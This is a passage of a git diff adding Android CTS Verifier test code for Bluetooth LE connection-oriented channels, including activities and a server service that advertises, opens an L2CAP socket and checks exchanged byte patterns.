+import android.content.Intent;
+import android.os.Bundle;
+import com.android.cts.verifier.R;
+
+public class BleCocSecureClientStartActivity extends BleCocClientTestBaseActivity {
+ private Intent mIntent;
+
+ @Override
+ public void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ setInfoResources(R.string.ble_coc_client_test_name,
+ R.string.ble_coc_secure_client_test_info, -1);
+
+ mIntent = new Intent(this, BleCocClientService.class);
+ mIntent.setAction(BleCocClientService.BLE_COC_CLIENT_ACTION_LE_SECURE_CONNECT);
+
+ startService(mIntent);
+ }
+
+ @Override
+ public void onDestroy() {
+ super.onDestroy();
+ stopService(mIntent);
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocSecureClientTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocSecureClientTestListActivity.java
new file mode 100644
index 0000000..0370ab6
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocSecureClientTestListActivity.java
@@ -0,0 +1,46 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.bluetooth;
+
+import android.bluetooth.BluetoothAdapter;
+import android.os.Bundle;
+
+import com.android.cts.verifier.ManifestTestListAdapter;
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class BleCocSecureClientTestListActivity extends PassFailButtons.TestListActivity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.pass_fail_list);
+ setPassFailButtonClickListeners();
+ setInfoResources(R.string.ble_coc_secure_client_test_list_name,
+ R.string.ble_coc_secure_client_test_list_info,
+ -1);
+
+ BluetoothAdapter adapter = BluetoothAdapter.getDefaultAdapter();
+ List<String> disabledTest = new ArrayList<String>();
+
+ setTestListAdapter(new ManifestTestListAdapter(this, getClass().getName(),
+ disabledTest.toArray(new String[disabledTest.size()])));
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocSecureServerStartActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocSecureServerStartActivity.java
new file mode 100644
index 0000000..b7b04ac
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocSecureServerStartActivity.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.bluetooth;
+
+import android.content.Intent;
+import android.os.Bundle;
+
+public class BleCocSecureServerStartActivity extends BleCocServerTestBaseActivity {
+ private Intent mIntent;
+
+ @Override
+ public void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ mIntent = new Intent(this, BleCocServerService.class);
+ mIntent.setAction(BleCocServerService.BLE_ACTION_COC_SERVER_SECURE);
+ startService(mIntent);
+ }
+
+ @Override
+ public void onDestroy() {
+ super.onDestroy();
+ stopService(mIntent);
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocSecureServerTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocSecureServerTestListActivity.java
new file mode 100644
index 0000000..84f541c
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocSecureServerTestListActivity.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.bluetooth;
+
+import android.bluetooth.BluetoothAdapter;
+import android.os.Bundle;
+
+import com.android.cts.verifier.ManifestTestListAdapter;
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class BleCocSecureServerTestListActivity extends PassFailButtons.TestListActivity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.pass_fail_list);
+ setPassFailButtonClickListeners();
+ setInfoResources(R.string.ble_coc_secure_server_test_list_name, R.string.ble_coc_secure_server_test_list_info, -1);
+
+ BluetoothAdapter adapter = BluetoothAdapter.getDefaultAdapter();
+ List<String> disabledTest = new ArrayList<String>();
+ // TODO: Any need to remove certain tests based on supported features?
+
+ setTestListAdapter(new ManifestTestListAdapter(this, getClass().getName(),
+ disabledTest.toArray(new String[disabledTest.size()])));
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocServerService.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocServerService.java
new file mode 100644
index 0000000..ee6342b
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocServerService.java
@@ -0,0 +1,766 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.bluetooth;
+
+import android.app.Service;
+import android.bluetooth.BluetoothAdapter;
+import android.bluetooth.BluetoothDevice;
+import android.bluetooth.BluetoothGatt;
+import android.bluetooth.BluetoothGattCharacteristic;
+import android.bluetooth.BluetoothGattDescriptor;
+import android.bluetooth.BluetoothGattServer;
+import android.bluetooth.BluetoothGattServerCallback;
+import android.bluetooth.BluetoothGattService;
+import android.bluetooth.BluetoothManager;
+import android.bluetooth.BluetoothProfile;
+import android.bluetooth.BluetoothServerSocket;
+import android.bluetooth.BluetoothSocket;
+import android.bluetooth.le.AdvertiseCallback;
+import android.bluetooth.le.AdvertiseData;
+import android.bluetooth.le.AdvertiseSettings;
+import android.bluetooth.le.BluetoothLeAdvertiser;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Build;
+import android.os.Handler;
+import android.os.IBinder;
+import android.os.Message;
+import android.os.ParcelUuid;
+import android.util.Log;
+import android.widget.Toast;
+
+import com.android.cts.verifier.R;
+
+import java.io.IOException;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.LinkedHashMap;
+import java.util.List;
+import java.util.Set;
+import java.util.Timer;
+import java.util.UUID;
+
+public class BleCocServerService extends Service {
+
+ public static final boolean DEBUG = true;
+ public static final String TAG = "BleCocServerService";
+
+ public static final int COMMAND_ADD_SERVICE = 0;
+ public static final int COMMAND_WRITE_CHARACTERISTIC = 1;
+ public static final int COMMAND_WRITE_DESCRIPTOR = 2;
+
+ public static final int TEST_DATA_EXCHANGE_BUFSIZE = 8 * 1024;
+
+ public static final String BLE_BLUETOOTH_MISMATCH_SECURE =
+ "com.android.cts.verifier.bluetooth.BLE_BLUETOOTH_MISMATCH_SECURE";
+ public static final String BLE_BLUETOOTH_MISMATCH_INSECURE =
+ "com.android.cts.verifier.bluetooth.BLE_BLUETOOTH_MISMATCH_INSECURE";
+ public static final String BLE_BLUETOOTH_DISABLED =
+ "com.android.cts.verifier.bluetooth.BLE_BLUETOOTH_DISABLED";
+
+ public static final String BLE_ACTION_COC_SERVER_INSECURE =
+ "com.android.cts.verifier.bluetooth.BLE_ACTION_COC_SERVER_INSECURE";
+ public static final String BLE_ACTION_COC_SERVER_SECURE =
+ "com.android.cts.verifier.bluetooth.BLE_ACTION_COC_SERVER_SECURE";
+
+ public static final String BLE_ACTION_SERVER_SECURE =
+ "com.android.cts.verifier.bluetooth.BLE_ACTION_SERVER_SECURE";
+ public static final String BLE_ACTION_SERVER_NON_SECURE =
+ "com.android.cts.verifier.bluetooth.BLE_ACTION_SERVER_NON_SECURE";
+
+ public static final String BLE_LE_CONNECTED =
+ "com.android.cts.verifier.bluetooth.BLE_LE_CONNECTED";
+ public static final String BLE_COC_LISTENER_CREATED =
+ "com.android.cts.verifier.bluetooth.BLE_COC_LISTENER_CREATED";
+ public static final String BLE_PSM_READ =
+ "com.android.cts.verifier.bluetooth.BLE_PSM_READ";
+ public static final String BLE_COC_CONNECTED =
+ "com.android.cts.verifier.bluetooth.BLE_COC_CONNECTED";
+ public static final String BLE_CONNECTION_TYPE_CHECKED =
+ "com.android.cts.verifier.bluetooth.BLE_CONNECTION_TYPE_CHECKED";
+ public static final String BLE_DATA_8BYTES_READ =
+ "com.android.cts.verifier.bluetooth.BLE_DATA_8BYTES_READ";
+ public static final String BLE_DATA_LARGEBUF_READ =
+ "com.android.cts.verifier.bluetooth.BLE_DATA_LARGEBUF_READ";
+ public static final String BLE_DATA_8BYTES_SENT =
+ "com.android.cts.verifier.bluetooth.BLE_DATA_8BYTES_SENT";
+ public static final String BLE_LE_DISCONNECTED =
+ "com.android.cts.verifier.bluetooth.BLE_LE_DISCONNECTED";
+ public static final String BLE_COC_SERVER_ACTION_SEND_DATA_8BYTES =
+ "com.android.cts.verifier.bluetooth.BLE_COC_SERVER_ACTION_SEND_DATA_8BYTES";
+ public static final String BLE_COC_SERVER_ACTION_EXCHANGE_DATA =
+ "com.android.cts.verifier.bluetooth.BLE_COC_SERVER_ACTION_EXCHANGE_DATA";
+ public static final String BLE_COC_SERVER_ACTION_DISCONNECT =
+ "com.android.cts.verifier.bluetooth.BLE_COC_SERVER_ACTION_DISCONNECT";
+
+ public static final String BLE_SERVER_DISCONNECTED =
+ "com.android.cts.verifier.bluetooth.BLE_SERVER_DISCONNECTED";
+ public static final String BLE_OPEN_FAIL =
+ "com.android.cts.verifier.bluetooth.BLE_OPEN_FAIL";
+ public static final String BLE_ADVERTISE_UNSUPPORTED =
+ "com.android.cts.verifier.bluetooth.BLE_ADVERTISE_UNSUPPORTED";
+ public static final String BLE_ADD_SERVICE_FAIL =
+ "com.android.cts.verifier.bluetooth.BLE_ADD_SERVICE_FAIL";
+
+ private static final UUID SERVICE_UUID =
+ UUID.fromString("00009999-0000-1000-8000-00805f9b34fb");
+ private static final UUID CHARACTERISTIC_UUID =
+ UUID.fromString("00009998-0000-1000-8000-00805f9b34fb");
+ private static final UUID CHARACTERISTIC_RESULT_UUID =
+ UUID.fromString("00009974-0000-1000-8000-00805f9b34fb");
+ private static final UUID UPDATE_CHARACTERISTIC_UUID =
+ UUID.fromString("00009997-0000-1000-8000-00805f9b34fb");
+ private static final UUID DESCRIPTOR_UUID =
+ UUID.fromString("00009996-0000-1000-8000-00805f9b34fb");
+ public static final UUID ADV_COC_SERVICE_UUID=
+ UUID.fromString("00003334-0000-1000-8000-00805f9b34fb");
+
+ private static final UUID SERVICE_UUID_ADDITIONAL =
+ UUID.fromString("00009995-0000-1000-8000-00805f9b34fb");
+ private static final UUID SERVICE_UUID_INCLUDED =
+ UUID.fromString("00009994-0000-1000-8000-00805f9b34fb");
+
+ // Variable for registration permission of Descriptor
+ private static final UUID DESCRIPTOR_NO_READ_UUID =
+ UUID.fromString("00009973-0000-1000-8000-00805f9b34fb");
+ private static final UUID DESCRIPTOR_NO_WRITE_UUID =
+ UUID.fromString("00009972-0000-1000-8000-00805f9b34fb");
+ private static final UUID DESCRIPTOR_NEED_ENCRYPTED_READ_UUID =
+ UUID.fromString("00009969-0000-1000-8000-00805f9b34fb");
+ private static final UUID DESCRIPTOR_NEED_ENCRYPTED_WRITE_UUID =
+ UUID.fromString("00009968-0000-1000-8000-00805f9b34fb");
+
+ private static final int CONN_INTERVAL = 150; // connection interval 150ms
+
+ private static final int EXECUTION_DELAY = 1500;
+
+ // Delay of notification when secure test failed to start.
+ private static final long NOTIFICATION_DELAY_OF_SECURE_TEST_FAILURE = 5 * 1000;
+
+ public static final String WRITE_VALUE = "SERVER_TEST";
+ private static final String NOTIFY_VALUE = "NOTIFY_TEST";
+ private static final String INDICATE_VALUE = "INDICATE_TEST";
+ public static final String READ_NO_PERMISSION = "READ_NO_CHAR";
+ public static final String WRITE_NO_PERMISSION = "WRITE_NO_CHAR";
+ public static final String DESCRIPTOR_READ_NO_PERMISSION = "READ_NO_DESC";
+ public static final String DESCRIPTOR_WRITE_NO_PERMISSION = "WRITE_NO_DESC";
+
+ private BluetoothManager mBluetoothManager;
+ private BluetoothGattServer mGattServer;
+ private BluetoothGattService mService;
+ private BluetoothDevice mDevice;
+ private Handler mHandler;
+ private BluetoothLeAdvertiser mAdvertiser;
+ private boolean mSecure;
+ private int mMtuSize = -1;
+
+ private BluetoothServerSocket mServerSocket;
+ private int mPsm = -1;
+ private BluetoothGattCharacteristic mLePsmCharacteristic;
+ BluetoothChatService mChatService;
+
+ private int mNextReadExpectedLen = -1;
+ private String mNextReadCompletionIntent;
+ private int mTotalReadLen = 0;
+ private byte mNextReadByte;
+ private int mNextWriteExpectedLen = -1;
+ private String mNextWriteCompletionIntent = null;
+
+ // Handler for communicating task with peer.
+ private TestTaskQueue mTaskQueue;
+
+ // current test category
+ private String mCurrentAction;
+
+ // Task to notify failure of starting secure test.
+ // Secure test calls BluetoothDevice#createBond() when devices were not paired.
+ // createBond() causes onConnectionStateChange() twice, and it works as strange sequence.
+ // At the first onConnectionStateChange(), target device is not paired (bond state is
+ // BluetoothDevice.BOND_NONE).
+ // At the second onConnectionStateChange(), target devices is paired (bond state is
+ // BluetoothDevice.BOND_BONDED).
+ // CTS Verifier will perform lazy check of bond state. Verifier checks bond state
+ // after NOTIFICATION_DELAY_OF_SECURE_TEST_FAILURE from the first onConnectionStateChange().
+ private Runnable mNotificationTaskOfSecureTestStartFailure;
+
+ @Override
+ public void onCreate() {
+ super.onCreate();
+
+ mTaskQueue = new TestTaskQueue(getClass().getName() + "_taskHandlerThread");
+
+ mBluetoothManager = (BluetoothManager) getSystemService(Context.BLUETOOTH_SERVICE);
+ mAdvertiser = mBluetoothManager.getAdapter().getBluetoothLeAdvertiser();
+ mGattServer = mBluetoothManager.openGattServer(this, mCallbacks);
+
+ mService = createService();
+
+ mDevice = null;
+
+ mHandler = new Handler();
+ if (!mBluetoothManager.getAdapter().isEnabled()) {
+ notifyBluetoothDisabled();
+ } else if (mGattServer == null) {
+ notifyOpenFail();
+ } else if (mAdvertiser == null) {
+ notifyAdvertiseUnsupported();
+ } else {
+ // start adding services
+ mSecure = false;
+ if (!mGattServer.addService(mService)) {
+ notifyAddServiceFail();
+ }
+ }
+ }
+
+ private void notifyBluetoothDisabled() {
+ Intent intent = new Intent(BLE_BLUETOOTH_DISABLED);
+ sendBroadcast(intent);
+ }
+
+ private void notifyMismatchSecure() {
+ Intent intent = new Intent(BLE_BLUETOOTH_MISMATCH_SECURE);
+ sendBroadcast(intent);
+ }
+
+ @Override
+ public int onStartCommand(Intent intent, int flags, int startId) {
+ String action = intent.getAction();
+ if (action != null) {
+ if (DEBUG) {
+ Log.d(TAG, "onStartCommand: action=" + action);
+ }
+ mTaskQueue.addTask(new Runnable() {
+ @Override
+ public void run() {
+ onTestFinish(intent.getAction());
+ }
+ }, EXECUTION_DELAY);
+ }
+ return START_NOT_STICKY;
+ }
+
+ private void startServerTest(boolean secure) {
+ mSecure = secure;
+
+ if (mBluetoothManager.getAdapter().isEnabled() && (mChatService == null)) {
+ createChatService();
+ }
+
+ if (mBluetoothManager.getAdapter().isEnabled() && (mAdvertiser != null)) {
+ startAdvertise();
+ }
+ }
+
+ private void sendMessage(byte[] buf) {
+ mChatService.write(buf);
+ }
+
+ private void sendData8bytes() {
+ if (DEBUG) Log.d(TAG, "sendData8bytes");
+
+ final byte[] buf = new byte[]{1,2,3,4,5,6,7,8};
+ mNextWriteExpectedLen = 8;
+ mNextWriteCompletionIntent = BLE_DATA_8BYTES_SENT;
+ sendMessage(buf);
+ }
+
+ private void sendDataLargeBuf() {
+ final int len = BleCocServerService.TEST_DATA_EXCHANGE_BUFSIZE;
+ if (DEBUG) Log.d(TAG, "sendDataLargeBuf of size=" + len);
+
+ byte[] buf = new byte[len];
+ for (int i = 0; i < len; i++) {
+ buf[i] = (byte)(i + 1);
+ }
+ mNextWriteExpectedLen = len;
+ mNextWriteCompletionIntent = null;
+ sendMessage(buf);
+ }
+
+ private void onTestFinish(String action) {
+ mCurrentAction = action;
+ if (mCurrentAction != null) {
+ switch (mCurrentAction) {
+ case BLE_ACTION_COC_SERVER_INSECURE:
+ startServerTest(false);
+ break;
+ case BLE_ACTION_COC_SERVER_SECURE:
+ startServerTest(true);
+ break;
+ case BLE_COC_SERVER_ACTION_SEND_DATA_8BYTES:
+ sendData8bytes();
+ break;
+ case BLE_COC_SERVER_ACTION_EXCHANGE_DATA:
+ sendDataLargeBuf();
+ readDataLargeBuf();
+ break;
+ case BLE_COC_SERVER_ACTION_DISCONNECT:
+ if (mChatService != null) {
+ mChatService.stop();
+ }
+ break;
+ default:
+ Log.e(TAG, "Error: Unhandled or invalid action=" + mCurrentAction);
+ }
+ }
+ }
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ return null;
+ }
+
+ @Override
+ public void onDestroy() {
+ super.onDestroy();
+
+ if (mChatService != null) {
+ mChatService.stop();
+ }
+
+ cancelNotificationTaskOfSecureTestStartFailure();
+ stopAdvertise();
+
+ mTaskQueue.quit();
+
+ if (mGattServer == null) {
+ return;
+ }
+ if (mDevice != null) {
+ mGattServer.cancelConnection(mDevice);
+ }
+ mGattServer.clearServices();
+ mGattServer.close();
+ }
+
+ private void notifyOpenFail() {
+ if (DEBUG) {
+ Log.d(TAG, "notifyOpenFail");
+ }
+ Intent intent = new Intent(BLE_OPEN_FAIL);
+ sendBroadcast(intent);
+ }
+
+ private void notifyAddServiceFail() {
+ if (DEBUG) {
+ Log.d(TAG, "notifyAddServiceFail");
+ }
+ Intent intent = new Intent(BLE_ADD_SERVICE_FAIL);
+ sendBroadcast(intent);
+ }
+
+ private void notifyAdvertiseUnsupported() {
+ if (DEBUG) {
+ Log.d(TAG, "notifyAdvertiseUnsupported");
+ }
+ Intent intent = new Intent(BLE_ADVERTISE_UNSUPPORTED);
+ sendBroadcast(intent);
+ }
+
+ private void notifyConnected() {
+ if (DEBUG) {
+ Log.d(TAG, "notifyConnected");
+ }
+ Intent intent = new Intent(BLE_LE_CONNECTED);
+ sendBroadcast(intent);
+ }
+
+ private void notifyDisconnected() {
+ if (DEBUG) {
+ Log.d(TAG, "notifyDisconnected");
+ }
+ Intent intent = new Intent(BLE_SERVER_DISCONNECTED);
+ sendBroadcast(intent);
+ }
+
+ private BluetoothGattService createService() {
+ BluetoothGattService service =
+ new BluetoothGattService(SERVICE_UUID, BluetoothGattService.SERVICE_TYPE_PRIMARY);
+ BluetoothGattCharacteristic characteristic =
+ new BluetoothGattCharacteristic(CHARACTERISTIC_UUID, 0x0A, 0x11);
+ characteristic.setValue(WRITE_VALUE.getBytes());
+
+ BluetoothGattDescriptor descriptor = new BluetoothGattDescriptor(DESCRIPTOR_UUID, 0x11);
+ descriptor.setValue(WRITE_VALUE.getBytes());
+ characteristic.addDescriptor(descriptor);
+
+ BluetoothGattDescriptor descriptor_permission =
+ new BluetoothGattDescriptor(DESCRIPTOR_NO_READ_UUID, 0x10);
+ characteristic.addDescriptor(descriptor_permission);
+
+ descriptor_permission = new BluetoothGattDescriptor(DESCRIPTOR_NO_WRITE_UUID, 0x01);
+ characteristic.addDescriptor(descriptor_permission);
+
+ service.addCharacteristic(characteristic);
+
+ // Registered the characteristic of PSM Value
+ mLePsmCharacteristic =
+ new BluetoothGattCharacteristic(BleCocClientService.LE_PSM_CHARACTERISTIC_UUID,
+ BluetoothGattCharacteristic.PROPERTY_READ,
+ BluetoothGattCharacteristic.PERMISSION_READ);
+ service.addCharacteristic(mLePsmCharacteristic);
+
+ return service;
+ }
+
+ private void showMessage(final String msg) {
+ mHandler.post(new Runnable() {
+ public void run() {
+ Toast.makeText(BleCocServerService.this, msg, Toast.LENGTH_SHORT).show();
+ }
+ });
+ }
+
+ private synchronized void cancelNotificationTaskOfSecureTestStartFailure() {
+ if (mNotificationTaskOfSecureTestStartFailure != null) {
+ mHandler.removeCallbacks(mNotificationTaskOfSecureTestStartFailure);
+ mNotificationTaskOfSecureTestStartFailure = null;
+ }
+ }
+
+ private final BluetoothGattServerCallback mCallbacks = new BluetoothGattServerCallback() {
+ @Override
+ public void onConnectionStateChange(BluetoothDevice device, int status, int newState) {
+ if (DEBUG) {
+ Log.d(TAG, "onConnectionStateChange: newState=" + newState);
+ }
+
+ if (status == BluetoothGatt.GATT_SUCCESS) {
+ if (newState == BluetoothProfile.STATE_CONNECTED) {
+ mDevice = device;
+ boolean bonded = false;
+ Set<BluetoothDevice> pairedDevices =
+ mBluetoothManager.getAdapter().getBondedDevices();
+ if (pairedDevices.size() > 0) {
+ for (BluetoothDevice target : pairedDevices) {
+ if (target.getAddress().equals(device.getAddress())) {
+ bonded = true;
+ break;
+ }
+ }
+ }
+
+ if (mSecure && ((device.getBondState() == BluetoothDevice.BOND_NONE) ||
+ !bonded)) {
+ // not pairing and execute Secure Test
+ Log.e(TAG, "BluetoothGattServerCallback.onConnectionStateChange: "
+ + "Not paired but execute secure test");
+ cancelNotificationTaskOfSecureTestStartFailure();
+ } else if (!mSecure && ((device.getBondState() != BluetoothDevice.BOND_NONE)
+ || bonded)) {
+ // already pairing and execute Insecure Test
+ Log.e(TAG, "BluetoothGattServerCallback.onConnectionStateChange: "
+ + "Paired but execute insecure test");
+ } else {
+ cancelNotificationTaskOfSecureTestStartFailure();
+ }
+ notifyConnected();
+ } else if (status == BluetoothProfile.STATE_DISCONNECTED) {
+ notifyDisconnected();
+ mDevice = null;
+ }
+ }
+ }
+
+ @Override
+ public void onCharacteristicReadRequest(BluetoothDevice device, int requestId, int offset,
+ BluetoothGattCharacteristic characteristic) {
+ if (mGattServer == null) {
+ if (DEBUG) {
+ Log.d(TAG, "GattServer is null, return");
+ }
+ return;
+ }
+ if (DEBUG) {
+ Log.d(TAG, "onCharacteristicReadRequest()");
+ }
+
+ boolean finished = false;
+ byte[] value = null;
+ if (mMtuSize > 0) {
+ byte[] buf = characteristic.getValue();
+ if (buf != null) {
+ int len = Math.min((buf.length - offset), mMtuSize);
+ if (len > 0) {
+ value = Arrays.copyOfRange(buf, offset, (offset + len));
+ }
+ finished = ((offset + len) >= buf.length);
+ if (finished) {
+ Log.d(TAG, "sent whole data: " + (new String(characteristic.getValue())));
+ }
+ }
+ } else {
+ value = characteristic.getValue();
+ finished = true;
+ }
+
+ mGattServer.sendResponse(device, requestId, BluetoothGatt.GATT_SUCCESS, offset, value);
+
+ UUID uid = characteristic.getUuid();
+ if (uid.equals(BleCocClientService.LE_PSM_CHARACTERISTIC_UUID)) {
+ Log.d(TAG, "onCharacteristicReadRequest: reading PSM");
+ }
+ }
+
+ };
+
+ private void leCheckConnectionType() {
+ if (mChatService == null) {
+ Log.e(TAG, "leCheckConnectionType: no LE Coc connection");
+ return;
+ }
+ int type = mChatService.getSocketConnectionType();
+ if (type != BluetoothSocket.TYPE_L2CAP) {
+ Log.e(TAG, "leCheckConnectionType: invalid connection type=" + type);
+ return;
+ }
+ showMessage("LE CoC Connection Type Checked");
+ Intent intent = new Intent(BLE_CONNECTION_TYPE_CHECKED);
+ sendBroadcast(intent);
+ }
+
+ private void readData8bytes() {
+ mNextReadExpectedLen = 8;
+ mTotalReadLen = 0;
+ mNextReadCompletionIntent = BLE_DATA_8BYTES_READ;
+ mNextReadByte = 1;
+ }
+
+ private void readDataLargeBuf() {
+ mNextReadExpectedLen = BleCocServerService.TEST_DATA_EXCHANGE_BUFSIZE;
+ mTotalReadLen = 0;
+ mNextReadCompletionIntent = BLE_DATA_LARGEBUF_READ;
+ mNextReadByte = 1;
+ }
+
+ private void processChatStateChange(int newState) {
+ Intent intent;
+ if (DEBUG) {
+ Log.d(TAG, "processChatStateChange: newState=" + newState);
+ }
+ switch (newState) {
+ case BluetoothChatService.STATE_LISTEN:
+ intent = new Intent(BLE_COC_LISTENER_CREATED);
+ sendBroadcast(intent);
+ break;
+ case BluetoothChatService.STATE_CONNECTED:
+ intent = new Intent(BLE_COC_CONNECTED);
+ sendBroadcast(intent);
+
+ // Check the connection type
+ leCheckConnectionType();
+
+ // Prepare the next data read
+ readData8bytes();
+ break;
+ }
+ }
+
+ private boolean checkReadBufContent(byte[] buf, int len) {
+ // Check that the content is correct
+ for (int i = 0; i < len; i++) {
+ if (buf[i] != mNextReadByte) {
+ Log.e(TAG, "handleMessageRead: Error: wrong byte content. buf["
+ + i + "]=" + buf[i] + " not equal to " + mNextReadByte);
+ return false;
+ }
+ mNextReadByte++;
+ }
+ return true;
+ }
+
+ private void handleMessageRead(Message msg) {
+ byte[] buf = (byte[])msg.obj;
+ int len = msg.arg1;
+ if (len <= 0) {
+ return;
+ }
+ mTotalReadLen += len;
+ if (DEBUG) {
+ Log.d(TAG, "handleMessageRead: receive buffer of length=" + len + ", mTotalReadLen="
+ + mTotalReadLen + ", mNextReadExpectedLen=" + mNextReadExpectedLen);
+ }
+
+ if (mNextReadExpectedLen == mTotalReadLen) {
+ if (!checkReadBufContent(buf, len)) {
+ mNextReadExpectedLen = -1;
+ return;
+ }
+ showMessage("Read " + len + " bytes");
+ if (DEBUG) {
+ Log.d(TAG, "handleMessageRead: broadcast intent " + mNextReadCompletionIntent);
+ }
+ Intent intent = new Intent(mNextReadCompletionIntent);
+ sendBroadcast(intent);
+ mNextReadExpectedLen = -1;
+ mNextReadCompletionIntent = null;
+ mTotalReadLen = 0;
+ } else if (mNextReadExpectedLen > mTotalReadLen) {
+ if (!checkReadBufContent(buf, len)) {
+ mNextReadExpectedLen = -1;
+ return;
+ }
+ } else if (mNextReadExpectedLen < mTotalReadLen) {
+ Log.e(TAG, "handleMessageRead: Unexpected receive buffer of length=" + len
+ + ", expected len=" + mNextReadExpectedLen);
+ }
+ }
+
+ private void handleMessageWrite(Message msg) {
+ byte[] buffer = (byte[]) msg.obj;
+ int len = buffer.length;
+ showMessage("LE CoC Server wrote " + len + " bytes" + ", mNextWriteExpectedLen="
+ + mNextWriteExpectedLen);
+ if (len == mNextWriteExpectedLen) {
+ if (mNextWriteCompletionIntent != null) {
+ Intent intent = new Intent(mNextWriteCompletionIntent);
+ sendBroadcast(intent);
+ }
+ } else {
+ Log.d(TAG, "handleMessageWrite: unrecognized length=" + len);
+ }
+ mNextWriteCompletionIntent = null;
+ mNextWriteExpectedLen = -1;
+ }
+
+ private class ChatHandler extends Handler {
+ @Override
+ public void handleMessage(Message msg) {
+ super.handleMessage(msg);
+ if (DEBUG) {
+ Log.d(TAG, "ChatHandler.handleMessage: msg=" + msg);
+ }
+ switch (msg.what) {
+ case BluetoothChatService.MESSAGE_STATE_CHANGE:
+ processChatStateChange(msg.arg1);
+ break;
+ case BluetoothChatService.MESSAGE_READ:
+ handleMessageRead(msg);
+ break;
+ case BluetoothChatService.MESSAGE_WRITE:
+ handleMessageWrite(msg);
+ break;
+ }
+ }
+ }
+
+ /* Start the Chat Service to create the Bluetooth Server Socket for LE CoC */
+ private void createChatService() {
+
+ mChatService = new BluetoothChatService(this, new ChatHandler(), true);
+ mChatService.start(mSecure);
+ mPsm = mChatService.getPsm(mSecure);
+ if (DEBUG) {
+ Log.d(TAG, "createChatService: assigned PSM=" + mPsm);
+ }
+ if (mPsm > 0x00ff) {
+ Log.e(TAG, "createChatService: Invalid PSM=" + mPsm);
+ }
+ // Notify that the PSM is read
+ Intent intent = new Intent(BLE_PSM_READ);
+ sendBroadcast(intent);
+
+ // Set the PSM value in the PSM characteristics in the GATT Server.
+ mLePsmCharacteristic.setValue(mPsm, BluetoothGattCharacteristic.FORMAT_UINT8, 0);
+ }
+
+ private void startAdvertise() {
+ if (DEBUG) {
+ Log.d(TAG, "startAdvertise");
+ }
+ AdvertiseData data = new AdvertiseData.Builder()
+ .addServiceData(new ParcelUuid(ADV_COC_SERVICE_UUID), new byte[]{1,2,3})
+ .addServiceUuid(new ParcelUuid(ADV_COC_SERVICE_UUID))
+ .build();
+ AdvertiseSettings setting = new AdvertiseSettings.Builder()
+ .setAdvertiseMode(AdvertiseSettings.ADVERTISE_MODE_LOW_LATENCY)
+ .setTxPowerLevel(AdvertiseSettings.ADVERTISE_TX_POWER_MEDIUM)
+ .setConnectable(true)
+ .build();
+ mAdvertiser.startAdvertising(setting, data, mAdvertiseCallback);
+ }
+
+ private void stopAdvertise() {
+ if (DEBUG) {
